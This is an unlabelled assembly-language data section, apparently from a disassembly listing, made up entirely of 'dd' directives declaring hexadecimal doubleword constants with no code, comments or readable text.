dd 0D22D696Eh, 488CEDC9h, 82FC0411h, 0FD95F863h, 0B9CED543h
dd 0B476A49Eh, 0E01CF3EAh, 0B50F66C0h, 1782AE59h, 0C9D92FB9h
dd 7B1E7833h, 429FDAA6h, 0F02B5152h, 4B046947h, 63B80BB3h
dd 5A299218h, 2C6FE7C2h, 0F0AEE6CDh, 98C549Ch, 63D422F0h
dd 79D7A668h, 113CAA5Fh, 3FEBCCE8h, 4BDAD6FBh, 8AE5AB6Eh
dd 0D9DD9D0Eh, 0A0C5FDD3h, 980576E8h, 0D1117DE3h, 0B1039A5Fh
dd 0EAEFA18Bh, 2F920C1h, 62759C7Fh, 0D2083F9Ch, 1E600E1h
dd 0C5897475h, 3255BC77h, 41844C7Fh, 0C90F5408h, 0D89514C9h
dd 12FDBA0Eh, 0EF65FF47h, 0D7688378h, 59E41007h, 19B83B8h
dd 68813E5Ch, 8F2F098Ch, 89F784DDh, 70EA04F0h, 1BF04253h
dd 418FD672h, 919B4B10h, 6B780C7Bh, 9AEE0BECh, 0FDF0739Fh
dd 98F99458h, 0BA8CDC9Bh, 0CF78B09h, 8327B8DAh, 64C2C0E8h
dd 28EBD0E9h, 2220E0C8h, 135B1E2Eh, 0C82A24F9h, 4A7523A4h
dd 5EA4577Dh, 45112A3Dh, 68A8C6E7h, 0C80602EEh, 0C72D5EECh
dd 0D5E0A99h, 0EED5B158h, 0C4FE206Dh, 844CAA6Fh, 0C2F1C011h
dd 0FCB33585h, 1C6C731Eh, 8B8EEA2Eh, 0A1E6C0DEh, 0E4B5BA91h
dd 3CC13021h, 0EFED2A42h, 73ACF390h, 13F7E03Fh, 27BEDEAFh
dd 0BD803751h, 0B7EE1B20h, 3527EB2Fh, 0C315B2A7h, 3D730F0Eh
dd 77E60DCFh, 0FFD00BA6h, 0C2128425h, 0BAAF4C43h, 91B276A6h
dd 0AE1A4A55h, 0F40F692Ah, 0E3442244h, 96949D65h, 8845AC14h
dd 31159307h, 3A32B512h, 0C6CB829h, 0AD49DE8Dh, 9F8C86E3h
dd 3653A077h, 324E5719h, 9E624BE3h, 6C615F9h, 0D6A6E90Bh
dd 2FD601A2h, 0AEFED064h, 16223229h, 0CCD0455Dh, 0ACACF4DDh
dd 7D53CA13h, 0A988EB7Bh, 901460C6h, 5FBB49B2h, 0A644B9F2h
dd 26350C40h, 32A7CD72h, 0F189C493h, 0E155F8BCh, 0FFC70E19h
dd 114FACCEh, 64809183h, 332FE31h, 2921B328h, 4D252609h
dd 0F4597E02h, 5B6AB26Ch, 0F74DDE0Fh, 60CE6D29h, 0E05BBFBCh
dd 9E47B6F8h, 0DEEA7504h, 0C339375h, 0D01847F5h, 0B1F604F6h
dd 690F9D88h, 76A606Bh, 4C14A814h, 39894B32h, 46B8CEA6h
dd 553B60Ch, 5F77BC37h, 0A9649209h, 0C0A3FA9Ch, 8370CA58h
dd 446D6681h, 0D86306ACh, 7723444Dh, 0D3A54D85h, 30BAD3EAh
dd 75015CA4h, 9483F9CEh, 0A0FEEC9Bh, 921C2A84h, 0C9CDAEADh
dd 16FC381h, 9E09A84Fh, 703D186Bh, 0AB895B98h, 86CECBEFh
dd 0A3313B98h, 7F610380h, 0AB862E5Eh, 3F9DC673h, 4A1A684Eh
dd 6AFBA5CDh, 0A42F87DEh, 9BB9BFFh, 0CB3D22F0h, 0FE7BC57Fh
dd 0A36BFF78h, 3E9A0A6h, 7AA9324Dh, 0AA1CC340h, 0E679FBEBh
dd 0AD5742BBh, 39497693h, 9AD41C80h, 0F80B7DCEh, 0B272A018h
dd 782A4262h, 0EB1FAD42h, 54FF7673h, 38D5D6E0h, 7223C9FDh
dd 2FBC0F18h, 22025D3Bh, 0BE7B1F8Dh, 0E1A50276h, 0F263CD62h
dd 0C3882352h, 1FFD6947h, 0C8871A20h, 21653CB7h, 4D2D1E9Fh
dd 8B2EDDAh, 0AB52669Fh, 97A4255Bh, 82A3A743h, 513B8D2Bh
dd 4FB89EBBh, 1642F65Ch
dd 12452B28h, 6DF4EA89h, 4D585998h, 330F08E5h, 662CBD16h
dd 1182F481h, 14561B8Ch, 64F331AAh, 0A6B39D59h, 8CD98D71h
dd 32B35F8Ch, 40BE1268h, 7E2795BDh, 0CACFDEA1h, 0E3A0DF20h
dd 0E2472876h, 0F34988Ah, 7DC780C2h, 66D28905h, 917A8A1Ch
dd 6FB07219h, 7CFAAF49h, 0D392A15Bh, 0EB30378h, 0A435D337h
dd 0EFAF55Ah, 2B15528Eh, 2E91F3Eh, 69CA166Ch, 0A9F617D1h
dd 0C3A47FF6h, 96528304h, 0DC1BC87Dh, 8A85295Ah, 0BC8CDC9Fh
dd 3908523Dh, 0E8F42BA0h, 5D6C1C06h, 754FB8C6h, 933DF08Bh
dd 0ED312F6Ah, 238A142Bh, 0DCA466A0h, 0C66AFC50h, 0DBF7A755h
dd 76B88560h, 2197C3h, 6B965D65h, 13147D2Ah, 0AF779EC8h
dd 0B8E787CAh, 0DEDC3748h, 4F8F6077h, 264984A0h, 3964122Fh
dd 0B9CD32E8h, 0F36FB001h, 6C7806C7h, 77893185h, 3C69D703h
dd 0B2F367D9h, 41C7F08h, 0E707486Ah, 0A4B98948h, 0CB300CA5h
dd 6F36135Ch, 8FBB4A2Bh, 888D6936h, 0F3258Bh, 0BAEC47DFh
dd 7B203358h, 68A69869h, 0F658BAB3h, 5A2AC9CFh, 33A71488h
dd 2179FFACh, 8C0928D2h, 84456092h, 0C12EC234h, 0D76A3A3Ah
dd 5C3FD235h, 7BDE6766h, 39B46AE4h, 0FB7CEFEEh, 0E70697C8h
dd 428DA00Fh, 84436A9Dh, 0A8B0E737h, 0F3D88BB9h, 733CB357h
dd 0F5C9CA72h, 0C8315CB2h, 357D0741h, 6E8CC88Dh, 0B4FDD3Ah
dd 0EFBC41B5h, 0FCFFA17Eh, 64B298BDh, 5D9E556Eh, 7CAF4A18h
dd 0DB0FD6EFh, 0AAC49829h, 0C8F547C7h, 0B807FCF2h, 0B42028ABh
dd 0E72A0FE0h, 4363A095h, 16660570h, 723B828Eh, 7607A57Dh
dd 36057302h, 572230A7h, 0A0571940h, 691EC75h, 8A30D44Ah
dd 271D8E1Eh, 0D9C88D63h, 0D8ACEB60h, 0A02F7EF6h, 934C3D55h
dd 0EC404F91h, 7B3D77F0h, 54B575F4h, 7DA91E43h, 1AA05207h
dd 0DFFE0E72h, 58D55073h, 0DACEA4DFh, 0E7C91B68h, 0BF3297DAh
dd 0FD987EC0h, 42A0B79Ah, 0B1966389h, 33478E80h, 0BF8D8CEDh
dd 8239A1ACh, 8D4A0C07h, 86394913h, 0F94099A7h, 839BA5CBh
dd 7E6B9B1Bh, 5D626EE9h, 0FE6FB111h, 0AC24C761h, 5DD1F519h
dd 2973EBEDh, 861C492h, 88EC2FD4h, 893860Ch, 2D137493h
dd 7D3310A4h, 0CFC3EA88h, 0FF400078h, 524A7846h, 96AC7966h
dd 0A1E78123h, 6B2CAE64h, 0B24BD60Ch, 8F9CF775h, 0D6F8C01Eh
dd 62F7F78Ah, 226633EEh, 2CF27A1Ah, 77F095A9h, 0A38D93E2h
dd 0D8687C20h, 0C2AEF313h, 1753ED73h, 769A8907h, 19B67E33h
dd 1DE57BBAh, 60024637h, 5F84A254h, 7CE42B23h, 8D4A329Fh
dd 5926B8B6h, 0CA2BD8D7h, 0D8913A1Dh, 21649414h, 7D9E8187h
dd 0D666C116h, 0C78DA092h, 326ADFEFh, 30D63140h, 3307297Fh
dd 0F58F1997h, 0D9304FB0h, 0E51FE0E3h, 7104AFA7h, 0D6DF1C33h
dd 0E26BD4E1h, 0DD5A7224h, 0A6219EDFh, 0BFF4A4E5h, 32D0DEFAh
dd 16C64E9Ah, 4BC3571Fh, 62737F41h, 0EA50B0FCh, 26D1789h
dd 0D956C506h, 0D63B2880h, 564ED676h, 9FB179EDh, 0A1D0A259h
dd 126BC471h, 2A2902DFh, 0B4FE273Ah, 0EBB8A4E3h, 0C5FBA8CBh
dd 0D8A8C2E6h, 37D576FCh, 39EFD395h, 8C62F281h, 7D45320h
dd 0D6ACCA87h, 2D2DB95Fh, 0C067CD45h, 0B1A1F22h, 0CF1353BDh
dd 0AC0DE497h, 37B50AB0h, 7BCE5339h, 4ABF979Bh, 7A7065FFh
dd 0ADE8EA62h, 6B41A5DEh, 60660CF4h, 923A67BBh, 0F391F5C5h
dd 9F737377h, 0E2E40413h, 0B57F76BBh, 5CD90660h, 0AA314E7Fh
dd 1818CD11h, 0CF20669Ah, 0F1BE8757h, 7C45539Ch, 3AA30E44h
dd 9580AA99h, 65722D85h, 0F1244529h, 0D2988340h, 0E0448CEDh
dd 60DB12F7h, 64D9E8F4h, 906AD9AFh, 0A3D82363h, 0FBB0D599h
dd 7BDEC09Ah, 5163FE6Eh, 1CEF4BB3h, 0FE6A7759h, 0A7F26592h
dd 0F6E47C9Fh, 72DFB6A3h, 9B8D3D99h, 1FD2FB35h, 0ECE34BEEh
dd 7CFCFA42h, 9749F6E0h, 8A8830AAh, 76DB77C4h, 7E28BE11h
dd 0FF2DC13Fh, 84E4CF42h, 8608EE92h, 918696EFh, 0A855F0ADh
dd 0C7C284EBh, 6064F932h, 0AD7605C1h, 0E5ABFCB1h, 9CF2AC67h
dd 172CFA56h, 0EE0C9DCFh, 428B3075h, 0DFE82692h, 23EA9B3Fh
dd 0B7FB3346h, 0ED153FFCh, 4366DA9Bh, 27D737C3h, 49E5058Eh
dd 0FBBE6C9Dh, 4A02506Ah, 97106309h, 0F1BC1832h, 844CFFA5h
dd 3334FCD7h, 71C03DE4h, 0B3D677Bh, 0C37B45C5h, 24314379h
dd 90D47578h, 490C1F90h, 37584BA7h, 80579D9Ch, 60D451D5h
dd 75633B1Eh, 0ABDD58F0h, 0A6DA698h, 0B9FA770Eh, 1744FC82h
dd 35D50E49h, 4FFA6D85h, 992B50BCh, 5571E9D1h, 0FD07D727h
dd 59D0518Ah, 0AD4059C3h, 797ABF15h, 7C10B881h, 158E28E7h
dd 0BE6C110Ch, 10EFEBB4h, 524D4251h, 9B409494h, 2F0FDC1Ch
dd 0AED8AE05h, 0FE639815h, 0C9336712h, 9DA180F2h, 0CC92B4B7h
dd 7BCD6BC3h, 89F2E9C9h, 0A8BA318Bh, 0A5E4B317h, 774777B8h
dd 0BE673A6Ah, 0E8E64BDFh, 0D1B15415h, 2CA95757h, 8874CB61h
dd 0FDC7009Ah, 0DC9EC2B9h, 24B9AD4Eh, 0BC0A0011h, 0D9861827h
dd 9824F8C5h, 49B3B3CFh, 67EAD212h, 0CFE28D33h, 95453AFFh
dd 78F8F232h, 5B30AA2Ah, 8A729C92h, 736CACFDh, 4CC9605h
dd 0EC659D4Ah, 0EFF104DCh, 8D4BB529h, 24C4EE61h, 7153EF21h
dd 1C3C12A9h, 389713C4h, 17A10B1h, 450C1A7Dh, 92A53C4Bh
dd 8B66517Ah, 10AED9A3h, 0BE271F97h, 7913C09Dh, 69C08C3Ah
dd 3417607Bh, 91C3AB86h, 2F7819D4h, 10084FFh, 5D750FC9h
dd 0CF6CC70Eh, 6B16D25Bh, 8675F0A0h, 0DE8E438Eh, 91E45392h
dd 2B7F1A56h, 46CD34A2h, 0FD89148Ah, 0FCF39A76h, 0B1E511F0h
dd 284BA0B0h, 968658EDh, 0F0BF6ECAh, 0DBC42DC6h, 99F2D07Ch
dd 5CE3F6CDh, 0B7B07B73h, 1F57490Ch, 0D03CCF2Ch, 7EF35C4h
dd 14E73D4Bh, 0C8961CC9h, 0E8F53754h, 3A8CD8E4h, 7FC4E606h
dd 6F6485Bh, 0D134BB7Fh, 3ACA6586h, 0CEFDEC78h, 0A0FF947Bh
dd 17B29592h, 603FDB5Dh, 8C90ACC3h, 0B5D4D74Ch, 794C8857h
dd 0E3D924D9h, 0ACC2AD3Bh, 0F67DC20Ah, 0DFCEE450h, 0D25AFF4h
dd 68E2B5EBh, 0D351ED8Bh, 628B9F89h, 0EC70B681h, 0B9F04A9Dh
dd 27B2A5E2h, 0A8C0EDDCh, 84602B25h, 146FDF50h, 46A531E5h
dd 86747F7Bh, 33164562h, 0A13696D3h, 4EEF0372h, 83220F16h
dd 0D4935688h, 55AF8B77h, 0CA36D117h, 99AD386h, 9F4C5503h
dd 76F42BBCh, 5A15D3D0h, 85B231C6h, 0DFA72044h, 0EB9C4192h
dd 0C1B01028h, 812FC152h, 0BAA32CDAh, 6F090C5Ch, 5EA75665h
dd 8E3D846Eh, 648EBF27h, 96221082h, 9A198804h, 35E16B0Bh
dd 1AFCE257h, 4FFFE5DDh, 8719BEE7h, 27E59757h, 0DC4BF1B4h
dd 0C2DA31ECh, 0AC49BDA8h, 0D85BAE4Bh, 7C1CAA7Ch, 4A4C4838h
dd 2D013E91h, 52C81BD2h, 22CBC06Eh, 0CEC4FE08h, 7A330902h
dd 0EAF5810Ch, 8C22568Fh, 0A2BC6FE9h, 6D5593D6h, 5E6E1D49h
dd 994A0A0Eh, 0DDF96C3Bh, 0BFC8A427h, 0F4A28E0Fh, 84A7B586h
dd 0F5FDD57h, 5DBFDD02h, 5F1990B0h, 0E592CCBAh, 7FE52DEFh
dd 0D0E1DE4Ah, 0EB41D197h, 356B8DC7h, 0A9DC7A66h, 7604725Fh
dd 2495DF9Fh, 0A04B9AD7h, 19732EC3h, 0DA65C3CFh, 0C2514CE1h
dd 37029AF9h, 3D85BEB1h, 0E5D0389Fh, 2C3848ABh, 0C92C845Bh
dd 0CC3315D9h, 6B07BD2Eh, 4EC2AC29h, 35B73915h, 0FF54D3BDh
dd 37DF77B4h, 2FBEBCEh, 0E4B9368Bh, 0F70213E5h, 0B7EA3945h
dd 0B42181E1h, 5BB46541h, 505D7429h, 33840655h, 5D78A5FDh
dd 7E614F96h, 6EE8677Eh, 0FAC2317h, 0AD0480B1h, 23323A7Ah
dd 99414526h, 93B9BDA1h
dd 0A171CC06h, 0BB90C006h, 0BA05A24Ch, 0D0EF7B11h, 83F4126Bh
dd 0F1D91190h, 0AC05754Dh, 0B1878935h, 87E357AAh, 0F1791EC4h
dd 1C68E102h, 1E90FCD8h, 0C17C8FC4h, 0EF830173h, 23AED9BDh
dd 33A1E96Bh, 0D33D8CD5h, 0C1045DF0h, 80EA3670h, 0DDEE0C20h
dd 0FCD2CB18h, 27A5A9B6h, 0A4E0EC12h, 0CA761ED6h, 67835E91h
dd 352E6185h, 296C6519h, 36D4D2B7h, 0F1E7EAA0h, 8C72DE23h
dd 0DAB4C685h, 0CCBFF327h, 0A3F9A63h, 70E88091h, 53C91BCEh
dd 3703AE35h, 22F23D65h, 0CE0772ADh, 5606D0C2h, 68A625AAh
dd 683A881h, 2B4C1249h, 41EAC9F2h, 824B4365h, 0C8413861h
dd 3632B60Bh, 0EC809D68h, 1A261546h, 0C3828BD2h, 0AD505995h
dd 93004694h, 0DB4B9660h, 0BC2BFD72h, 0FE2C5D16h, 0D8C3316h
dd 9C1B3D87h, 0D353EEFEh, 7EDBF611h, 3E4B71CEh, 586EBB33h
dd 3543357Fh, 546B353Dh, 97C00996h, 91C0F305h, 857E4473h
dd 9CDCBFD0h, 0B10AFFACh, 1D7845D7h, 0A24C87B8h, 91EDD0C4h
dd 3FDC4EBCh, 0FA2D420Dh, 0C395D903h, 0B0B9F02Eh, 0F60F92D1h
dd 43B1EAC9h, 0C7974B7h, 5CFE3D14h, 4E4680AAh, 870FE8CEh
dd 0D54FAE6Eh, 8CCE2694h, 0FDEB24ADh, 0B02D9952h, 3FBD7244h
dd 63F5ADFBh, 0FAC3CBAFh, 76AF24Fh, 0F3524FF5h, 0BBF70936h
dd 663A15C7h, 9009A9D3h, 0F2EEABA5h, 283866A8h, 0D18FCA62h
dd 484E13A6h, 5ED9E165h, 9A839DD8h, 1DB4316Ch, 99AAB2BCh
dd 2AC97C3Ch, 0C60268F4h, 0AEE8E9A0h, 1A739275h, 161BB103h
dd 0CA3382D2h, 63E22786h, 76FFC70h, 75E0A8EFh, 0F690574Ch
dd 0C5058030h, 60D4D96Bh, 0F2483D72h, 8D068A07h, 283EB67h
dd 0C371BF69h, 0B09FF927h, 52F03B09h, 0D5B48041h, 95579794h
dd 39F4DAE8h, 69C8A9EEh, 0B51873B4h, 88F220DDh, 0BA99C3FEh
dd 3684840Dh, 8D27170Ah, 0B344855Fh, 3E81135h, 0F23170E4h
dd 7879C872h, 0D90611BBh, 1A5B01EAh, 620D9DF7h, 45A7E5BDh
dd 16500770h, 0F3BAAF21h, 6ECB6752h, 53A7DD76h, 0A7398F03h
dd 1C9F48C7h, 11CCCFC1h, 0ECAAF787h, 0B06A995Eh, 0A38B7929h
dd 5A9983CEh, 9FDDD31Bh, 63EBBF17h, 82E1CF07h, 0CB5621E8h
dd 0F715012Fh, 1BEDAF7Dh, 0A4305973h, 0F9D910A8h, 0A5361B47h
dd 7A60B6EFh, 146D90CAh, 8B3DC5BAh, 0CB90589Ch, 28513296h
dd 4590601Fh, 1999A183h, 0B241E125h, 44B530B3h, 0BF4D48EFh
dd 0B4E5CE2Ch, 5993F991h, 0D92AB6FAh, 5A46CCAEh, 68CFA641h
dd 8135D17Bh, 778215F9h, 0F4C44E8Eh, 4EF8F201h, 0A8E09A2Fh
dd 0A91723Dh, 0DA3DF4E6h, 0E5959BA8h, 0F8567413h, 22B0F0B0h
dd 0BF711E01h, 0A77C0168h, 0A124BCCFh, 0C1E9B840h, 4EA0BB8Ah
dd 6F3E66B5h, 0DE6A6B9Eh, 8340EB1h, 0EAC091CEh, 9BA5F6E9h
dd 114D8EB0h, 7E61E2EBh, 9FB2071Fh, 23D897EEh, 8CE37A49h
dd 7D151F6Ah, 0F925688h, 4E38C3D7h, 54577263h, 0D2E8368Eh
dd 778F59BBh, 57817C5Dh, 6E566577h, 11BDAC66h, 72625859h
dd 3C55FB98h, 0E22B9153h, 0E43C2BC9h, 80DA6FB7h, 44B3282Bh
dd 31BC665h, 6A8DC0F0h, 0B6C12942h, 53139E3Ah, 0B584C9CDh
dd 0E7FF30D4h, 0EE24D987h, 0C2B2FDEDh, 356C5757h, 0CE4B00A4h
dd 311A359Dh, 0DB6E23F2h, 0A032A801h, 0FEDEB23Dh, 86599297h
dd 95B7D988h, 4C7D1F18h, 36F255E1h, 2303ED67h, 2CE17495h
dd 21318ABEh, 2A2A2C7h, 20D51619h, 67C024D3h, 0B51FAEF5h
dd 1C4DCB36h, 0E64A9100h, 0E3EC3AC9h, 3015975Dh, 368A67A6h
dd 8BA70A29h, 19552F2Dh, 37EAA0CAh, 1CDA26A0h, 0D9DD3B4Eh
dd 0DC8234F0h, 272CA85Ch, 24AAA74Ah, 5AF9309Fh, 29223463h
dd 0E22E74DAh, 8B3CBDA0h, 0F1EE399Dh, 649608E4h, 0C6797A68h
dd 0B8CAC4D5h, 0BFBA8C11h, 0A7C513EBh, 829A034Dh, 0F57E4EA1h
dd 5B1D23E4h, 8411B956h, 924114EFh, 8789EBACh, 51F29F0Eh
dd 66DBAD02h, 7E81C4E6h, 0E291096Ch, 166E053Dh, 61406F76h
dd 0C0F3CD88h, 5A07976Ah, 0AFFF02CDh, 58F39680h, 3FA61F3Dh
dd 41B85C3Eh, 6CABB1C0h, 22BDBA33h, 0B47F6EBh, 0C4A48CA1h
dd 220F8870h, 67818C77h, 7073AF47h, 16335FB1h, 2718909h
dd 0D20E28C8h, 5533382Bh, 0F5D66264h, 2AD653DFh, 0A4323827h
dd 0D27C6881h, 9669A1BEh, 0D9D6393Ch, 59D0CDA7h, 390F5FBEh
dd 4050EF54h, 5E3C1D32h, 90D36Bh, 32956E6Eh, 40F99989h
dd 2C5D2A9Dh, 0A3BB12FBh, 0C98DFF09h, 67A09D23h, 9B001A2Fh
dd 20E5AC56h, 0A12851E1h, 0F65F264Fh, 0D17A39C9h, 0BEB9231Bh
dd 8858420Eh, 895ABF7Ch, 7BBDB245h, 27B93ABCh, 85F928Ah
dd 1996BB3Eh, 0B4D73E2Ch, 3F547112h, 84BF29DBh, 0E4036039h
dd 0F910E417h, 3F61C641h, 5589B223h, 22259B37h, 9ACAA2CDh
dd 0A9AF29B2h, 9CF3E765h, 94C86C6Fh, 3490FAFDh, 0B4516DECh
dd 57218C5Bh, 21581702h, 0F6163B0Eh, 6A1B454h, 69023B48h
dd 41614BDEh, 2973FDFh, 3659E842h, 3D1ABDCh, 6767F595h
dd 97B3CCE9h, 0A7F5E8AAh, 0F5E4184h, 22CDE34Bh, 0D626A20Ah
dd 18EB7057h, 0C9C64438h, 8567A90h, 0E1D42B3Fh, 8A939FCEh
dd 5A23E2Eh, 0A6EF0C06h, 1CA46CD8h, 0FE58A28Eh, 9AA6EE9Fh
dd 6E8CFCA3h, 8E35253Bh, 73A8FD94h, 0ECDA5EB8h, 7E721BCBh
dd 790DBB71h, 5AE715CFh, 0CEDD8475h, 0F15C0E2Fh, 0B24D33ADh
dd 0DCB5B056h, 39641A4h, 0B1023141h, 9C894E17h, 8F86B49Eh
dd 37CA86D4h, 0A399D8C8h, 0D0ACECE7h, 155FDDAEh, 76E93ECAh
dd 166E700Bh, 6E85D3CFh, 42BD7D94h, 4E1F105h, 0D410C10Ch
dd 0F31CD7Ch, 4BFBE542h, 0B132FB2Ch, 0B9C44580h, 227EBDBBh
dd 156C1822h, 78CBDC5Dh, 67757423h, 0CED33A98h, 0BF75E9D3h
dd 0D2890E8Dh, 9EE3E907h, 0BBDC86A0h, 0F5332C14h, 0B3E70D2Bh
dd 0B6FB6EE8h, 264D4337h, 0D775DDC8h, 0EF3E5E6Ah, 27921A6Eh
dd 0FFD8D8CAh, 68F60E71h, 3AA39BA9h, 7E19EC0Bh, 5E9A9A74h
dd 4DE14F1Fh, 0BCB8AD5Fh, 0F29A7069h, 9C63D9A9h, 0FEAB0EC7h
dd 0F67A1AABh, 0DD27CAC4h, 0DDA12441h, 0A3A8B53Bh, 5A0D0596h
dd 6DFA50Eh, 684CAD0Dh, 44627084h, 0E28A208Fh, 32BB4F18h
dd 0EA095CCDh, 0F9DB8A6Eh, 6FD47F9Fh, 726994ECh, 6939F094h
dd 58ABB1A6h, 1F6D62Ah, 8DEE05E7h, 0C7A5EA8Eh, 4CDD49Fh
dd 0D3D372C5h, 0E530C350h, 7DB693B6h, 0D05CE931h, 238CC492h
dd 0CC2F9D47h, 0A5936DC1h, 0FB8E2F06h, 479A715Eh, 0C4CF6914h
dd 8D875088h, 0FA52E439h, 4A517BA2h, 0D07519A8h, 2AD78551h
dd 64DE79Dh, 420EA7ABh, 533175B1h, 430B5997h, 7B6E8D40h
dd 0FD6B654Dh, 0ABD46F9Dh, 0B6D7641Dh, 75E0920Bh, 4E2DF04Fh
dd 0E693857Dh, 75C07988h, 7A159927h, 0CF205F20h, 3E441C11h
dd 0D41D8609h, 1790DC11h, 4A3EBA48h, 0CF8822B5h, 95C34D12h
dd 0E716DAE0h, 0C7726B67h, 0BFE76268h, 9F42E244h, 0B737A776h
dd 890E16A9h, 0A922BEAFh, 0E925233Eh, 233388F7h, 16A9F783h
dd 0DC99B8E5h, 0E8C0CC01h, 0CA8E1B75h, 485CC34Eh, 0BADE088Eh
dd 0E014F52Ah, 14FAE540h, 0FC31EFB9h, 0C12C4DB9h, 4BDA73A4h
dd 534F515Ch, 0FAB50D6Ah, 0B364DD8Fh, 0A37AA33Eh, 15A942B6h
dd 0DC8BABE8h, 2B528795h, 1F8C793Ah, 9F647F05h, 0FA07541Eh
dd 85FE652Dh, 7E1C57B4h, 41B37D83h, 0DF9BBB68h, 1A1EB32Eh
dd 0AC32447Bh, 9D42411Ah, 0C39FD5F9h, 267B0013h, 0F2A72007h
dd 35B30D65h, 1E23E782h, 11FA575Fh, 0C2F9F0F4h, 9968A466h
dd 88D36355h, 0DEEFEB57h
dd 836C374h, 5C5C0D42h, 19EF7FC7h, 6AC8C6A5h, 0E9F7FE53h
dd 0ECF62F38h, 64D4988Ah, 0B85FA87h, 9F119D15h, 7C96D834h
dd 5742CFD7h, 0DFF55C5h, 0EA13BA06h, 7B8EF66Eh, 0C3F3AA3Ah
dd 9C4AD477h, 8D15C04Dh, 0E0FBC07h, 0A176FF63h, 84508F8Eh
dd 1F72A942h, 6FC912A3h, 0A2F3F62Ch, 15FD3941h, 0BC49BA44h
dd 0DC0B6118h, 5B435945h, 18E2F350h, 19DD2907h, 90FF839Fh
dd 0DE9F56FEh, 42B8E5F1h, 6C8B6136h, 0E71FBE25h, 6523DFBBh
dd 5238476Dh, 0C6086DC7h, 0F2F9E0D4h, 6E9BE4EEh, 7B659BC2h
dd 0AEA8B8ADh, 0A2B7AAEBh, 4FD4B657h, 694E1547h, 57936DD0h
dd 7780C972h, 690166CCh, 0DE99C12Eh, 0AAED0081h, 68420E4Fh
dd 0CB5D97AEh, 0B6412F34h, 1779EF5h, 0A7074A85h, 542BD756h
dd 0C7A3AC47h, 0F2F529F1h, 0D4BB3179h, 0FDA0428Eh, 0E75EF491h
dd 94503EBCh, 6F90A8DCh, 39A06385h, 90F191B1h, 9CB5DB3Ah
dd 0BA6EE91Fh, 0B101A382h, 0DC9CB6B2h, 0C226B49h, 318DA7ACh
dd 0E051A6A6h, 9AD50E5Dh, 6E3A42BBh, 3F0F2CE2h, 0DAD3603Dh
dd 0D118CD62h, 0BD0328C3h, 423F08A7h, 0C641E028h, 50411F99h
dd 0DF6AF8B8h, 13796CBCh, 56D7AE7Ah, 0C9A8E8EFh, 93EB157h
dd 0DCC7CA6Fh, 9B39CE15h, 24177814h, 61A57083h, 42C22EA4h
dd 0A84D9FF2h, 4D6E5F04h, 0B677D5C7h, 0ECDD5A93h, 0C34C196Dh
dd 70DF3BCEh, 0A817F2E4h, 0A737D154h, 804F311Eh, 270B62ABh
dd 4766F0C3h, 199E5E02h, 0D4CE5DA5h, 4453AEB3h, 0EF100558h
dd 0E38DCD45h, 9847F17h, 468C9854h, 4A68E4D4h, 0D10AE2B0h
dd 8F4A9392h, 0C9F8C20Eh, 6E72B50h, 888B57C2h, 0B23254FBh
dd 8B2EF7F8h, 0EE643A96h, 9420818Bh, 3F366D8h, 39078FCEh
dd 0AC80785h, 0C2F1CD57h, 0BDDF0BBDh, 28FA1481h, 23D5242Fh
dd 7FB77B8Fh, 0F254608Eh, 0ED4A0DB3h, 0D05BAAE0h, 0EA8A17E4h
dd 0C2C6F65Dh, 0C8BDE58Ch, 8D6E1ABFh, 0B7CD7F7Ch, 0E71E17E2h
dd 0BD1A8EF7h, 0F6A5D954h, 0C016F90Fh, 215784E7h, 0E230B1FBh
dd 0FDCA1706h, 14F99BA2h, 0F30620ABh, 3925C5C5h, 824F8459h
dd 0A931384Bh, 8F941709h, 829F0F50h, 6DF4A264h, 0F4257298h
dd 0C02981B3h, 0E936F8B4h, 71FC64A3h, 55BB0135h, 51FF53Bh
dd 197E90DCh, 579056C8h, 9492BDCDh, 4EB7FF41h, 0C874CF0Ch
dd 7EE309F7h, 5E2643F4h, 0FB750C86h, 8FEB8EF4h, 4E6E6DD0h
dd 435E6A06h, 0E58CB11Eh, 6F550380h, 82D4A14Ch, 0EBD2DB7Dh
dd 0A98EB6CAh, 5B96D811h, 68E284AEh, 0AD67B583h, 3F30E4F2h
dd 3F34A75Bh, 1BDF0885h, 0DAEE0FA0h, 5E340113h, 0EF60A51h
dd 61173274h, 484EA760h, 79F24C67h, 232B0585h, 49C8A2B3h
dd 3B660AC8h, 4163D209h, 74F71032h, 3D561F40h, 75BB3E18h
dd 2027BD1Eh, 0B02A48E0h, 4AF71EEDh, 0B4D37FE5h, 9003F4ADh
dd 4707AA8h, 35FFA382h, 0FD2DC4EEh, 0BEF03E35h, 25AC6331h
dd 8746644Eh, 77C3E6BFh, 0F71BFDA4h, 0FFBD6578h, 90845613h
dd 0A600AC48h, 0B369512Ah, 78B10FB0h, 88D8B790h, 6B40D7C3h
dd 9EA1F472h, 483BA728h, 5744E4EBh, 5BF712ACh, 1348B095h
dd 982FF0EAh, 8E7C7BB3h, 45DC5095h, 83D6D084h, 81C3F825h
dd 0B41A6D29h, 3314AAD8h, 0F493DA11h, 32B96C09h, 0FA784C22h
dd 0BBE5EFFAh, 5C60DC07h, 316D9004h, 88F8AE2Ah, 0BDCB09D9h
dd 5AFCB70Fh, 9E08C9A6h, 0F19952E9h, 6A3E9C31h, 0FE7B587h
dd 0D933A60Bh, 0C67EBF04h, 57962ED4h, 8AEDC4C1h, 7BECBF33h
dd 8AFB700Eh, 9AF3BD31h, 9B8A95E2h, 7ECBF41Eh, 9F45ED26h
dd 0C1DD9A83h, 71300E05h, 0EFBC4D75h, 152DDDC0h, 0CEC2761Ch
dd 7BDDAA55h, 35C879C7h, 0DE1D96D7h, 9AD1307Dh, 0B47A0E61h
dd 0BB1BEAB6h, 0AFA791F1h, 71FAA59Bh, 2ADDFB57h, 4AD2F5A9h
dd 5C8598C8h, 0ED60F9F5h, 0A3B011D4h, 30B3AE87h, 3CB20A38h
dd 6065444Fh, 5CA0C614h, 6AA64A52h, 0C99FD9ECh, 50CF8A0Eh
dd 4252AFC3h, 6AA34511h, 6307B4EFh, 6E476C7Ah, 983064D3h
dd 74F7170Ah, 0F06D190h, 7C9AADBDh, 5248B6E5h, 0DD6E7FC8h
dd 3FF43696h, 0FC5251BDh, 400B7702h, 47B874E9h, 26DE22EBh
dd 0E4EAAB3Dh, 0F439FA7Dh, 9DCAA96Fh, 573A89A0h, 0F262ABE1h
dd 114C9F1Eh, 3CF2B281h, 3685FD07h, 0D2194728h, 0DE8F189h
dd 4F9D6184h, 0BEA50936h, 0AAABF62Bh, 251FFDF2h, 415F8579h
dd 7A46BE01h, 25BB6307h, 80DDF25Bh, 299ABE6Bh, 2B16E2D5h
dd 4752C82Fh, 0FF58A93Bh, 6CED151Ah, 0FA55DE0Ch, 6F390650h
